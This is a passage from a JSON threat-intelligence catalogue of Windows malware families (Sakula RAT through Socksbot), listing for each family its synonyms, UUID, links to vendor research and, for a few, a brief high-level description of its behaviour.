          "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula",
          "https://www.secureworks.com/research/sakula-malware-family"
        ],
        "synonyms": [
          "Sakurel"
        ],
        "type": []
      },
      "uuid": "e88eb9b1-dc8b-4696-8dcf-0c29924d0f8b",
      "value": "Sakula RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea",
          "https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "060ff141-bb68-47ca-8a9d-8722f1edaa6e",
      "value": "Salgorea"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality",
          "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf",
          "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cf752563-ad8a-4286-b2b3-9acf24a0a09a",
      "value": "Sality"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam",
          "http://blog.talosintel.com/2016/03/samsam-ransomware.html",
          "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx",
          "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/",
          "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public",
          "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/",
          "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "696d78cb-1716-4ca0-b678-c03c7cfec19a",
      "value": "SamSam"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny",
          "http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html"
        ],
        "synonyms": [
          "Daws"
        ],
        "type": []
      },
      "uuid": "34c6504b-e947-49d8-a963-62b7594b7ef9",
      "value": "Sanny"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache",
          "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "056eca1f-4195-48c3-81d8-ed554dd1de20",
      "value": "SappyCache"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust",
          "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a",
          "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html"
        ],
        "synonyms": [
          "Hussarini"
        ],
        "type": []
      },
      "uuid": "5aed5403-9c52-4de6-9c8d-d29e5197ef7e",
      "value": "Sarhust"
    },
    {
      "description": "Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis",
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          "https://www.symantec.com/security-center/writeup/2010-020210-5440-99",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/",
          "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/",
          "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis",
          "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx",
          "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign"
        ],
        "synonyms": [
          "Oficla"
        ],
        "type": []
      },
      "uuid": "4c4ceb45-b326-45aa-8f1a-1229e90c78b4",
      "value": "Sasfis"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan",
          "https://www.sangfor.com/source/blog-network-security/1094.html",
          "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread",
          "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2",
          "https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/",
          "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html",
          "http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/",
          "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/"
        ],
        "synonyms": [
          "DBGer",
          "Lucky Ransomware"
        ],
        "type": []
      },
      "uuid": "5639f7db-ab70-4b86-8a2f-9c4e3927ba91",
      "value": "Satan Ransomware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana",
          "https://www.cylance.com/threat-spotlight-satan-raas"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "09b555be-8bac-44b2-8741-922ee0b87880",
      "value": "Satana"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot",
          "https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bdc7cc9c-c46d-4f77-b903-2335cc1a3369",
      "value": "Sathurbot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos",
          "https://securitykitten.github.io/2016/11/15/scanpos.html",
          "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e3adbb0d-6d6e-4686-8108-ee76452339bf",
      "value": "ScanPOS"
    },
    {
      "description": "Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken",
          "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb",
          "https://github.com/vithakur/schneiken"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "92a65c89-acc3-4ee7-8db0-f0ea293ed12d",
      "value": "Schneiken"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.scote",
          "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8c764bd6-2c6e-4cb2-93e3-f805cd99fe1e",
      "value": "Scote"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker",
          "https://twitter.com/struppigel/status/791535679905927168"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9803b201-28e5-40c5-b661-c1a191388072",
      "value": "ScreenLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
          "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1d07212e-6292-40a4-a5e9-30aef83b6207",
      "value": "SeaDaddy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d66f466a-e70e-4b62-9a04-d62eb41da15c",
      "value": "SeaSalt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
          "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
          "https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "272268bb-2715-476b-a121-49142581c559",
      "value": "SeDll"
    },
    {
      "description": "",
      "meta": {
        "refs": [
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          "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf",
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          "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html"
        ],
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          "eviltoss"
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        "type": []
      },
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      "value": "Sedreco"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader",
          "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
          "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html",
          "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
          "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
          "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
          "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/",
          "https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/",
          "https://blog.xpnsec.com/apt28-hospitality-malware-part-2/",
          "https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed"
        ],
        "synonyms": [
          "carberplike",
          "downrage",
          "jhuhugit",
          "jkeyskw"
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      },
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      "value": "Seduploader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "503ca41c-7788-477c-869b-ac530f20c490",
      "value": "SendSafe"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0d4ca924-7e7e-4385-b14d-f504b4d206e5",
      "value": "Serpico"
    },
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      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper",
          "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
          "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf",
          "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
          "https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/",
          "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"
        ],
        "synonyms": [],
        "type": []
      },
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      "value": "ServHelper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer",
          "https://skylightcyber.com/2019/03/28/unleash-the-hash-shadowhammer-mac-list/",
          "https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/",
          "https://securelist.com/operation-shadowhammer/89992/",
          "https://blog.reversinglabs.com/blog/forging-the-shadowhammer",
          "https://www.vkremez.com/2019/03/lets-learn-dissecting-operation.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "51728278-a95c-45a5-9ae0-9897d41d0efb",
      "value": "shadowhammer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad",
          "https://securelist.com/shadowpad-in-corporate-networks/81432/",
          "https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf",
          "http://www.dailysecu.com/?mod=bbs&act=download&bbs_id=bbs_10&upload_idxno=4070"
        ],
        "synonyms": [
          "XShellGhost"
        ],
        "type": []
      },
      "uuid": "e089e945-a523-4d11-a135-396f9b6c1dc7",
      "value": "ShadowPad"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti",
          "https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/",
          "https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f64683c8-50ab-42c0-8b90-881598906528",
      "value": "Shakti"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift",
          "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "15dd8386-f11a-485a-b719-440c0a47dee6",
      "value": "SHAPESHIFT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip",
          "https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
        ],
        "synonyms": [
          "remotecmd"
        ],
        "type": []
      },
      "uuid": "6f9ed0b0-63c8-4f51-8425-17cfc2b3c12e",
      "value": "shareip"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot",
          "https://eromang.zataz.com/tag/agentbase-exe/",
          "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
        ],
        "synonyms": [
          "Bitrep"
        ],
        "type": []
      },
      "uuid": "d31f1c73-d14b-41e2-bb16-81ee1d886e43",
      "value": "SHARPKNOT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker",
          "https://twitter.com/JaromirHorejsi/status/813726714228604928"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af35e295-7087-4f6c-9f70-a431bf223822",
      "value": "ShellLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu",
          "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6e668c0c-7085-4951-87d4-0334b6a5cdb3",
      "value": "Shifu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat",
          "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "67fc358f-da6a-4f01-be23-44bc97319127",
      "value": "Shim RAT"
    },
    {
      "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.\r\n\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "07470989-faac-44fb-b505-1d5568b3c716",
      "value": "SHIPSHAPE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin",
          "http://www.nyxbone.com/malware/chineseRansom.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "77c20bd9-5403-4f99-bae5-c54f3f38a6b6",
      "value": "Shujin"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f544ee0e-26f4-48e7-aaee-056f4d1ced82",
      "value": "Shurl0ckr"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock",
          "https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/",
          "http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html",
          "https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/",
          "https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/",
          "https://www.europol.europa.eu/newsroom/news/global-action-targeting-shylock-malware",
          "https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw"
        ],
        "synonyms": [
          "Caphaw"
        ],
        "type": []
      },
      "uuid": "515ee69a-298a-4fcf-bdb0-c5fc6d41872f",
      "value": "Shylock"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder",
          "https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c",
          "https://s.tencent.com/research/report/479.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3c43bd4c-8c40-47b5-ae97-3dd0f0c0e8d8",
      "value": "SideWinder"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras",
          "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group",
          "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
        ],
        "synonyms": [
          "Destover"
        ],
        "type": []
      },
      "uuid": "da92c927-9b31-48aa-854a-8ed49a29565b",
      "value": "Sierra(Alfa,Bravo, ...)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c12b3e30-32bf-4b7e-98f6-6a00e95553f8",
      "value": "Siggen6"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence",
          "http://www.intezer.com/silenceofthemoles/",
          "https://www.group-ib.com/resources/threat-research/silence.html",
          "https://securelist.com/the-silence/83009/",
          "https://reaqta.com/2019/01/silence-group-targeting-russian-banks/"
        ],
        "synonyms": [
          "TrueBot"
        ],
        "type": []
      },
      "uuid": "0df52c23-690b-4703-83f7-5befc38ab376",
      "value": "Silence"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon",
          "http://www.internetnews.com/security/article.php/3846186/TwoHeaded+Trojan+Targets+Online+Banks.htm",
          "http://contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b602edb3-81c2-4772-b5f8-73deb85cb40a",
      "value": "Silon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "774fcb67-1eeb-4bda-9b36-b624b632417a",
      "value": "Siluhdur"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda",
          "https://secrary.com/ReversingMalware/iBank/"
        ],
        "synonyms": [
          "iBank"
        ],
        "type": []
      },
      "uuid": "467ee29c-317f-481a-a77c-69961eb88c4d",
      "value": "Simda"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal",
          "https://en.wikipedia.org/wiki/Torpig",
          "https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2",
          "https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan",
          "https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/"
        ],
        "synonyms": [
          "Anserin",
          "Mebroot",
          "Quarian",
          "Theola",
          "Torpig"
        ],
        "type": []
      },
      "uuid": "ad5bcaef-1a86-4cc7-8f2e-32306b995018",
      "value": "Sinowal"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/",
          "https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0fba78fc-47a1-45e1-b5df-71bcabd23b5d",
      "value": "Sisfader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.skarab_ransom",
          "http://malware-traffic-analysis.net/2017/11/23/index.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c1ccba65-e2f0-4f29-8e04-6b119c7f8694",
      "value": "Skarab Ransom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "39002a0d-99aa-4568-b110-48f6df1759cd",
      "value": "Skyplex"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave",
          "https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1f4d8d42-8f31-47f8-b2b7-2d43196de532",
      "value": "Slave"
    },
    {
      "description": "- 2012 first sighted\r\n- Attack vector via compromised Microtik routers where victim's got infection when they connect to Microtik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot",
          "https://securelist.com/apt-slingshot/84312/",
          "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf",
          "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d6178858-1244-41cf-aeed-8c6afc1d6846",
      "value": "Slingshot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1bc01fca-9a1e-4669-bd9d-8dd29416f9c1",
      "value": "SLUB"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac",
          "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf"
        ],
        "synonyms": [
          "speccom"
        ],
        "type": []
      },
      "uuid": "a8561caf-eb9f-4a02-8277-a898a0a259ae",
      "value": "smac"
    },
    {
      "description": "The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader",
          "https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/",
          "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/",
          "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html",
          "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/",
          "https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis",
          "https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign",
          "https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo",
          "https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/",
          "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
          "https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait",
          "https://www.cert.pl/en/news/single/dissecting-smoke-loader/",
          "https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/"
        ],
        "synonyms": [
          "Dofoil"
        ],
        "type": []
      },
      "uuid": "ba91d713-c36e-4d98-9fb7-e16496a69eec",
      "value": "SmokeLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru",
          "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators",
          "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/"
        ],
        "synonyms": [
          "Ismo"
        ],
        "type": []
      },
      "uuid": "26b91007-a8ae-4e32-bd99-292e44735c3d",
      "value": "Smominru"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32",
          "https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/",
          "https://www.youtube.com/watch?v=7gCU31ScJgk"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1fe0b2fe-5f9b-4359-b362-be611537442a",
      "value": "Smrss32 Ransomware"
    },
    {
      "description": "A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader",
          "https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/",
          "https://twitter.com/VK_Intel/status/898549340121288704",
          "https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/",
          "https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "467c726e-6e19-4d15-88b6-362cbe0b3d20",
      "value": "SnatchLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy",
          "https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/"
        ],
        "synonyms": [
          "ByeByeShell"
        ],
        "type": []
      },
      "uuid": "212d1ed7-0519-412b-a1ce-56046ca93372",
      "value": "SNEEPY"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula",
          "https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf"
        ],
        "synonyms": [
          "Ursnif"
        ],
        "type": []
      },
      "uuid": "4f3ad937-bf2f-40cb-9695-a2bedfd41bfa",
      "value": "Snifula"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan",
          "https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0646a6eb-1c13-4d87-878e-9431314597bf",
      "value": "Snojan"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "99a10948-d7ba-4ad0-b73c-c7762143a193",
      "value": "SNS Locker"
    },
    {
      "description": "According to ESET, this RAT was derived from (the open-source) Quasar RAT.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken",
          "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "81e4fc8f-7b05-42bf-8ff9-568362d4f964",
      "value": "Sobaken"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "38734f44-ebc4-4250-a20e-5dac0fb5c0ed",
      "value": "Socks5 Systemz"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot",
